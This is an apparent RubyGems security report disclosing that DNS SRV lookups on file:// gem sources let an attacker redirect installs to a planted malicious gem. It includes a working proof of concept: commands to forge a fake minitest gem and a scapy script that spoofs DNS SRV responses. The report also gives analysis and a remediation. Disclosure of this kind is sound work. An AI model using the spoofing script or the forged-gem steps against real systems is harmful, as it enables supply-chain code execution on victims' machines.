RubyGems · Report #411519
DNS SRV lookup of file:// sources enables local hijacking of gems
How it was found
Summary
gem makes a DNS SRV query for each of its configured sources; the response is allowed to override the source URL in certain ways. The SRV query happens not only for http:// and https:// sources, but also for s3:// and file://. In the case of file://, the SRV response may add a prefix to the local filesystem path from which gems are fetched. As a consequence, an attacker who can provide or spoof DNS responses, and can write to the local filesystem, may cause a victim to download fake gems with arbitrary contents.
Demonstration
Here is how an attacker may hijack a victim's installation of the minitest gem. The users attacker and victim share the same local filesystem. victim expects to install gems from /home/victim/trusted-gem-path, but attacker will force the installation to be from /tmp/attack/home/victim/trusted-gem-path instead.
First, victim sets up a file:// repo. This could also be done by some other party, like a local administrator.
victim$ mkdir -p /home/victim/trusted-gem-path/gems
victim$ (cd /home/victim/trusted-gem-path/gems && gem fetch --clear-sources --source https://rubygems.org/ minitest)
victim$ gem generate_index -d /home/victim/trusted-gem-path
Then attacker makes a malicious gem file and installs it under a prefix where attacker can write and victim can read. We'll use /tmp/attack.
# Make a malicious gem
attacker$ mkdir lib
attacker$ echo 'puts "hacked"' > lib/hacked.rb
attacker$ cat <<EOF > hacked.gemspec
Gem::Specification.new do |s|
s.name = 'minitest'
s.version = '5.11.3'
s.files = ['lib/hacked.rb']
end
EOF
attacker$ gem build --force hacked.gemspec
# Make it available under /tmp/attack
attacker$ mkdir -p /tmp/attack/home/victim/trusted-gem-path/gems
attacker$ cp minitest-5.11.3.gem /tmp/attack/home/victim/trusted-gem-path/gems
attacker$ gem generate_index -d /tmp/attack/home/victim/trusted-gem-path
Next, attacker runs a program to spoof SRV responses. This will require root privileges if run on the same host, but it could also be done from another host in the same local network. The attacker may even control the local DNS, for example by being the wi-fi admin.
#!/usr/bin/env python3
from scapy.all import *
TARGET = b"xxx./tmp/attack"
def respond(pkt):
if not (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):
return
q = pkt[DNSQR]
# Nothing after "_rubygems._tcp." indicates that the host is empty;
# i.e., that it's likely a lookup for a file:// URL. 33 == SRV.
if not (q.qname == b"_rubygems._tcp." and q.qtype == 33):
return
resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) \
/ UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport) \
/ DNS(qr=1, id=pkt[DNS].id, qd=q, ancount=1) \
/ DNSRRSRV(type=33, rrname=q.qname, ttl=30, priority=0, weight=1, port=80, rdlen=8+len(TARGET), target=TARGET)
send(resp)
sniff(filter="udp dst port 53", prn=respond)
Finally, victim tries to fetch a gem and specifically asks for their previously configured file:// source. attacker's SRV response adds a /tmp/attack prefix and victim ends up with a malicious gem.
victim$ gem fetch --clear-sources --source file:///home/victim/trusted-gem-path minitest
victim$ tar -O -xf minitest-5.11.3.gem -- data.tar.gz | tar tzf -
lib/hacked.rb
Analysis
The api_endpoint function takes a URL, extracts the host component, and then issues a SRV query for _rubygems._tcp.#{host}. Its usual purpose is to replace "rubygems.org" with "api.rubygems.org" in http:// and https:// URLs; but it is also called for s3:// and file:// URLs. In a typical file:// URL, the host component is empty, so the query will be for _rubygems._tcp..
api_endpoint has the property that it allows limited control of parts of the URL other than the host component: in particular you can add a prefix to the path component by including / characters in the SRV response. The attack works by sending a SRV response of xxx./tmp/attack. The xxx. can be anything, as long as it ends with a . in order to pass the subdomain check. Receiving such a response, api_endpoint transforms the input URL
file:///home/victim/trusted-gem-path
into the output URL
file://xxx./tmp/attack/home/victim/trusted-gem-path
In the output URL, the xxx. is technically the host component, but it doesn't matter because it is ignored.
The conditions for exploitation seem fairly narrow:
- The victim and attacker must share a filesystem.
- The attacker must know the path to the victim's file:// repo.
- The attacker must anticipate the name of a gem that the victim will install.
- The attacker must be able to provide DNS responses.
I don't know how common such conditions are. While gem supports file:// sources, I wasn't able to find much information on configuring them other than one bug report. It seems it's more common to do a shared repository over http than using a shared filesystem. Commit 37d486cfd9 says "bundler gemspecs use file:// URIs for their sources," but I could not find in Bundler where that happens.
Remediation
The best solution seems to be not to call api_endpoint for file:// (and s3://) URLs. The host component of such URLs doesn't have the same meaning as it does in http:// and https:// URLs.
A mitigation that in this case would be sufficient would be to apply stricter validation of SRV responses, not allowing them to modify any components other than the host (GitHub #2035, HackerOne #274267).
Impact
The CVSS calculator says the severity is "high" but I would put it at "low" because of the difficulty of execution. The impact is indeed bad: arbitrary code execution using the victim's privileges, whether through Ruby code or a C extension. But as far as I can tell, the conditions for exploitation are uncommon.